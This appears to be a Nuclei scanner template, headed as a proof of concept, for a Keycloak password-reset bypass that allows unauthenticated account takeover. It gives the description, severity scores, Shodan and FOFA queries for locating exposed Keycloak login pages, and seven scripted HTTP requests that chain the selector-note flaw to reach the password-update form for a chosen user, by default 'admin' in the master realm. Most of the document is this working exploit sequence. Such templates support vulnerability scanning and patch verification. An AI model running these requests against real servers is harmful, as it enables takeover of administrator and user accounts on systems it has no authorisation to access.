Keycloak versions prior to 26.7.2, 26.6.6, and 26.4.15 contain a flaw in the reset-credentials flow that allows an unauthenticated attacker to bypass email verification and take over any user account. Two bugs are chained: (1) the tryAnotherWay handler stores a generic "true" selector note not scoped to the execution ID, and (2) ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID.
PoC
id: CVE-2026-18963
info:
name: Keycloak < 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass
author: DhiyaneshDk
severity: critical
description: |
Keycloak versions prior to 26.7.2, 26.6.6, and 26.4.15 contain a flaw in the reset-credentials flow that allows an unauthenticated attacker to bypass email verification and take over any user account. Two bugs are chained: (1) the tryAnotherWay handler stores a generic "true" selector note not scoped to the execution ID, and (2) ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID.
impact: |
An unauthenticated remote attacker can force the password reset process for any user without clicking the email verification link, resulting in full account takeover.
remediation: |
Upgrade to Keycloak 26.7.2, 26.6.6, or 26.4.15 which include fix PR #51844. Temporary mitigation: disable "Forgot Password" in all realms.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-18963
- https://github.com/keycloak/keycloak/pull/51844
- https://github.com/keycloak/keycloak/issues/51833
- https://github.com/T0w0T/POC-CVE-2026-18963
- https://access.redhat.com/security/cve/cve-2026-18963
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2026-18963
epss-score: 0.03177
epss-percentile: 0.87396
cwe-id: CWE-640
metadata:
verified: true
max-request: 7
vendor: keycloak
product: keycloak
shodan-query: http.title:"Sign in to Keycloak" || http.title:"Log in to Keycloak"
fofa-query: title="Sign in to Keycloak" || title="Log in to Keycloak"
tags: cve,cve2026,keycloak,auth-bypass,account-takeover,critical,vkev
variables:
username: admin
realm: master
flow: |
http("step-1");
http("step-2");
http("step-3");
http("step-4");
typeof restart_path !== "undefined" && restart_path !== "" && http("step-5");
http("step-6");
http("step-7");
http:
- id: step-1
raw:
- |
GET /realms/{{realm}}/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_uri={{BaseURL}}/realms/{{realm}}/account HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 3
extractors:
- type: regex
name: forgot_path
internal: true
part: body
group: 1
regex:
- 'href="(?:https?://[^/]+)?(/[^"]*reset-credentials[^"]*)"'
matchers:
- type: status
status:
- 200
internal: true
- id: step-2
raw:
- |
GET {{replace(forgot_path,"&","&")}} HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 3
extractors:
- type: regex
name: reset_form_action
internal: true
part: body
group: 1
regex:
- 'id="kc-reset-password-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"'
matchers:
- type: status
status:
- 200
internal: true
- id: step-3
raw:
- |
POST {{replace(reset_form_action,"&","&")}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
tryAnotherWay=on
redirects: true
max-redirects: 3
extractors:
- type: regex
name: selector_form_action
internal: true
part: body
group: 1
regex:
- 'id="kc-select-credential-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"'
matchers:
- type: status
status:
- 200
internal: true
- id: step-4
raw:
- |
POST {{replace(selector_form_action,"&","&")}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}
redirects: true
max-redirects: 3
extractors:
- type: regex
name: restart_path
internal: true
part: body
group: 1
regex:
- '(/realms/[^\s"''<]+/login-actions/restart[^\s"''<]*skip_logout=true[^\s"''<]*)'
matchers:
- type: status
status:
- 200
- 302
internal: true
- id: step-5
raw:
- |
GET {{restart_path}} HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 3
matchers:
- type: status
status:
- 200
- 302
internal: true
- id: step-6
raw:
- |
GET {{replace(forgot_path,"&","&")}} HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 3
extractors:
- type: regex
name: stale_selector_action
internal: true
part: body
group: 1
regex:
- 'id="kc-select-credential-form"[^>]*action="(?:https?://[^/]+)?(/[^"]*)"'
matchers:
- type: word
words:
- "kc-select-credential-form"
part: body
internal: true
- id: step-7
raw:
- |
POST {{replace(stale_selector_action,"&","&")}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}
redirects: true
max-redirects: 3
matchers:
- type: word
words:
- "kc-passwd-update-form"
part: body
extractors:
- type: dsl
dsl:
- '"username=" + username + " | realm=" + realm'
# digest: 490a0046304402202e2d838bb87bc79d200e795bf689a997eb8054e797eac2b4f0e2db88faea8ef80220704bbe24ff964b1cb2e714ab99e22c3e207dafa946e8e299b1b87b3c715b87b7:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.